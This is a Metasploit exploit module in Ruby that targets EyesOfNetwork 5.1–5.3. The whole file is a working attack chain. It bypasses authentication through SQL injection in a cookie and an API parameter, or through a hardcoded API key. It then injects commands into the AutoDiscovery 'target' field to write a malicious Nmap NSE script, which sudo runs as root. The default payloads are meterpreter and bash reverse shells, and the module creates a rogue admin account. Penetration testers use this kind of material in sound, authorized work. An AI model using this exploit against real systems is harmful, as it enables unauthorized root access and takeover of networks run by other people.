rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::SQLi
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'EyesOfNetwork 5.1-5.3 AutoDiscovery Target Command Execution',
      'Description'     => %q{
        This module exploits multiple vulnerabilities in EyesOfNetwork version 5.1, 5.2
        and 5.3 in order to execute arbitrary commands as root.

        This module takes advantage of a command injection vulnerability in the
        `target` parameter of the AutoDiscovery functionality within the EON web
        interface in order to write an Nmap NSE script containing the payload to
        disk. It then starts an Nmap scan to activate the payload. This results in
        privilege escalation because the`apache` user can execute Nmap as root.

        Valid credentials for a user with administrative privileges are required.
        However, this module can bypass authentication via various methods, depending on
        the EON version. EON 5.3 is vulnerable to a hardcoded API key and two SQL
        injection exploits. EON 5.1 and 5.2 can only be exploited via SQL injection.
        This module has been successfully tested on EyesOfNetwork 5.1, 5.2 and 5.3.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Clément Billac', # @h4knet - Discovery and exploits
          'bcoles',         # Metasploit
          'Erik Wynter'     # @wyntererik - Metasploit
        ],
      'References'      =>
        [
          ['CVE', '2020-8654'], # authenticated rce
          ['CVE', '2020-8655'], # nmap privesc
          ['CVE', '2020-8656'], # sqli auth bypass
          ['CVE', '2020-8657'], # hardcoded API key
          ['CVE', '2020-9465'], # sqli in user_id cookie field
          ['EDB', '48025'], #exploit for EON 5.3 (does not cover CVE 2020-9465)
          ['URL', 'https://github.com/h4knet/eonrce'] #exploits for EON 5.1-5.3 that cover all CVEs mentioned above
        ],
      'Payload'        => { 'BadChars' => "\x00" },
      'Targets'        =>
        [
          [ 'Linux (x86)', {
            'Arch' => ARCH_X86,
            'Platform' => 'linux',
            'DefaultOptions' => {
              'PAYLOAD'     => 'linux/x86/meterpreter/reverse_tcp'
            }
          } ],
          [ 'Linux (x64)', {
            'Arch' => ARCH_X64,
            'Platform' => 'linux',
            'DefaultOptions' => {
              'PAYLOAD'     => 'linux/x64/meterpreter/reverse_tcp'
            }
          } ],
          [ 'Linux (cmd)', {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix',
            'DefaultOptions' => {
              'PAYLOAD'     => 'cmd/unix/reverse_bash'
            },
          } ]
        ],
      'Privileged'      => true,
      'DisclosureDate'  => '2020-02-06',
      'DefaultOptions'  => {
        'RPORT' => 443,
        'SSL'     => true, #HTTPS is required for the module to work
        },
      'DefaultTarget'   => 1,
      'Notes'          =>
        {
          'Stability'   => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
        }
      ))
    register_options [
      OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']),
      OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']),
    ]
  end

  def nmap_path
    '/usr/bin/nmap'
  end

  def server_addr
    datastore['SERVER_ADDR'].blank? ? rhost : datastore['SERVER_ADDR']
  end

  def check
    vprint_status("Running check")

    res_css = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'css/eonweb.css')

    unless res_css
      return CheckCode::Unknown('Connection failed')
    end

    unless res_css.code == 200
      return CheckCode::Safe('Target is not an EyesOfNetwork application.')
    end

    @version = res_css.body.to_s.split("VERSION :")[1].split(" ")[0]

    if @version.to_s == ''
      return CheckCode::Detected('Could not determine EyesOfNetwork version.')
    end

    if @version == '5.1'
      return CheckCode::Appears("Target is EyesOfNetwork version 5.1.")
    end

    #The css file for EON 5.2 and 5.3 both mentions version 5.2, so additional checks are needed
    if @version != '5.2' #The module only works against EON 5.1, 5.2 and 5.3. Other versions are not considered vulnerable.
      return CheckCode::NotVulnerable("Target is EyesOfNetwork version #{@version} and is not vulnerable.")
    end

    res_api = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey')

    unless res_api
      return CheckCode::Unknown('Connection failed')
    end

    unless res_api.code == 401 && res_api.body.include?('api_version')
      return CheckCode::Safe('Target is not an EyesOfNetwork application.')
    end

    api_version = res_api.get_json_document()['api_version'] rescue ''

    if api_version.to_s == ''
      return CheckCode::Detected('Could not determine EyesOfNetwork version.')
    end

    api_version = Rex::Version.new api_version

    unless api_version <= Rex::Version.new('2.4.2')
      return CheckCode::Safe("Target is EyesOfNetwork with API version #{api_version}.")
    end

    #The only way to distinguish between EON 5.2 and 5.3 without authenticating is by checking the mod_perl version in the http response headers
    #The official EON 5.2 VM runs Apache with mod_perl version 2.0.10, while the EON 5.3 VM runs Apache with mod_perl version 2.0.11
    if res_api.headers.to_s.include?('mod_perl/2.0.10')
      @version = '5.2'
      return CheckCode::Appears("Target is EyesOfNetwork 5.2 with API version #{api_version}.")
    elsif res_api.headers.to_s.include?('mod_perl/2.0.11')
      @version = '5.3'
      return CheckCode::Appears("Target is EyesOfNetwork 5.3 or older with API version #{api_version}.")
    else
      return CheckCode::Detected("Could not determine EyesOfNetwork version. API version is #{api_version}")
    end
  end

  def sqli_to_admin_session
    @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/login.php'),
        'cookie' => "user_id=' union select #{payload} -- ;"
      })
      fail_with Failure::Unreachable, 'Connection failed' unless res
    end

    # check if target is vulnerable to CVE-2020-9465

    unless @sqli.test_vulnerable
      fail_with Failure::NotVulnerable, 'The target does not seem vulnerable. You could try increasing the value of the advanced option "SqliDelay".'
    end

    print_good 'The target seems vulnerable.'

    # Check if the admin user has a session opened, which is required for this exploit to work
    admin_sessions = @sqli.run_sql('select if((select count(*) from sessions where user_id = 1) > 0,1,0)', output_charset: ('0' .. '1'))

    if admin_sessions != '1'
      fail_with Failure::NoAccess, 'The admin user has no active sessions.'
      return
    end

    print_status 'Verified that the admin user has at least one active session.'

    print_status("Calculating the admin 'session_id' value. This will take a while...")

    # Could have done : @sqli.dump_table_fields('database()', 'sessions', %w(session_id), 'user_id=1', 1)
    @session_id = @sqli.run_sql('select session_id from sessions limit 1', output_charset: ('0'..'9'))
    print_good("Obtained admin 'session_id' value: #{@session_id}")
    @cookie = "session_id=#{@session_id}; user_name=admin; user_id=1; group_id=1;"
  end

  def generate_api_key
    default_key = "€On@piK3Y"
    default_user_id = 1
    key = Digest::MD5.hexdigest(default_key + default_user_id.to_s)
    Digest::SHA256.hexdigest(key + server_addr)
  end

  def sqli_to_api_key
    # Attempt to obtain the admin API key via SQL injection, using a fake password and its md5 encrypted hash
    fake_pass = Rex::Text::rand_text_alpha(10)
    fake_pass_md5 = Digest::MD5.hexdigest("#{fake_pass}")
    user_sqli = "' union select 1,'admin','#{fake_pass_md5}',0,0,1,1,8 or '"
    api_res = send_request_cgi({
      'uri'       => normalize_uri(target_uri.path, "/eonapi/getApiKey"),
      'method'    => 'GET',
       'vars_get' => {
        'username'   => user_sqli,
        'password'   => fake_pass
      }
    })

    unless api_res
      print_error('Connection failed.')
      return
    end

    unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY')
      print_error("SQL injection to obtain API key failed")
      return
    end

    api_res.get_json_document()['EONAPI_KEY']
  end

  def create_eon_user(user, password)
    vprint_status("Creating user #{user} ...")

    vars_post = {
      user_name:  user,
      user_group: "admins",
      user_password: password
    }
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, '/eonapi/createEonUser'),
      'ctype'    => 'application/json',
      'vars_get' => {
        'apiKey'   => @api_key,
        'username' => @api_user
      },
      'data' => vars_post.to_json
    })

    unless res
      print_warning("Failed to create user: Connection failed.")
      return
    end

    return res
  end

  def verify_api_key(res)
    return false unless res.code == 200

    json_data = res.get_json_document
    json_res = json_data['result']
    return false unless json_res && json_res['description']
    json_res = json_res['description']

    return true if json_res && json_res.include?('SUCCESS')

    return false
  end

  def delete_eon_user(user)
    vprint_status "Removing user #{user} ..."

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, '/eonapi/deleteEonUser'),
      'ctype'    => 'application/json',
      'data'     => { user_name: user }.to_json,
      'vars_get' => { apiKey: @api_key, username: @api_user }
    })

    unless res
      print_warning 'Removing user #{user} failed: Connection failed'
      return
    end

    res
  end

  def login(user, pass)
    vprint_status "Authenticating as #{user} ..."

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'login.php'),
      'vars_post' => {
        login: user,
        mdp: pass
      }
    })

    unless res
      fail_with Failure::Unreachable, 'Connection failed'
    end

    unless res.code == 200 && res.body.include?('dashboard_view')
      fail_with Failure::NoAccess, 'Authentication failed'
    end

    print_good "Authenticated as user #{user}"

    @cookie = res.get_cookies

    if @cookie.empty?
      fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
    end

    res
  end

  def create_autodiscovery_job(cmd)
    vprint_status "Creating AutoDiscovery job: #{cmd}"

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
      'cookie' => @cookie,
      'vars_post' => {
        'request'          => 'autodiscover',
        'job_name'         => 'Internal discovery',
        'job_description'  => 'Internal EON discovery procedure.',
        'nmap_binary'      => nmap_path,
        'default_template' => '',
        'target[]'         => cmd
      }
    })

    unless res
      fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed'
    end

    unless res.body.include? 'Starting...'
      fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start'
    end

    res
  end

  def delete_autodiscovery_job(job_id)
    vprint_status "Removing AutoDiscovery job #{job_id} ..."

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
      'cookie' => @cookie,
      'vars_get' => {
        id: job_id,
        delete: 1
      }
    })

    unless res
      print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed"
      return
    end
    res
  end

  def filter_bad_chars(cmd)
  cmd.gsub!(/"/, '\"')
  end

  def execute_command(cmd, opts = {})
    nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{cmd}\") end action=function() end")
    nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}"
    nse_cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}"
    if target.arch.first == ARCH_CMD
      print_status "Sending payload (#{nse_cmd.length} bytes) ..."
    end

    res = create_autodiscovery_job ";#{nse_cmd} #"
    return unless res

    job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first

    if job_id.empty?
      print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.'
      return
    end
    delete_autodiscovery_job job_id
  end

  def cleanup
    super
    if @username
      delete_eon_user @username
    end
  end

  def exploit
    if @version != '5.3'
      print_status "Target is EyesOfNetwork version #{@version}. Attempting exploitation using CVE-2020-9465."
      sqli_to_admin_session
    else
      print_status "Target is EyesOfNetwork version #{@version} or later. Attempting exploitation using CVE-2020-8657 or CVE-2020-8656."
      @api_user = 'admin'
      @api_key = generate_api_key
      print_status "Using generated API key: #{@api_key}"

      @username = rand_text_alphanumeric(8..12)
      @password = rand_text_alphanumeric(8..12)

      create_res = create_eon_user @username, @password

      api = true #used to check if any of the 2 api exploits work. If not, CVE-2020-9465 is attempted
      unless verify_api_key(create_res)
        @api_key = sqli_to_api_key
        if @api_key
          print_error("Generated API key does not match.")
          print_status("Using API key obtained via SQL injection: #{@api_key}")
          sqli_verify = create_eon_user @username, @password
          api = false unless verify_api_key(sqli_verify)
        else
          api = false
        end
      end

      if api
        admin_group_id = 1
        login @username, @password
        unless @cookie.include? 'group_id='
          @cookie << "; group_id=#{admin_group_id}"
        end
      else
        print_error("Failed to obtain valid API key.")
        print_status("Attempting exploitation using CVE-2020-9465.")
        sqli_to_admin_session
      end
    end

    if target.arch.first == ARCH_CMD
      execute_command payload.encoded.gsub(/"/, '\"')
    else
      execute_cmdstager(background: true)
    end
  end
end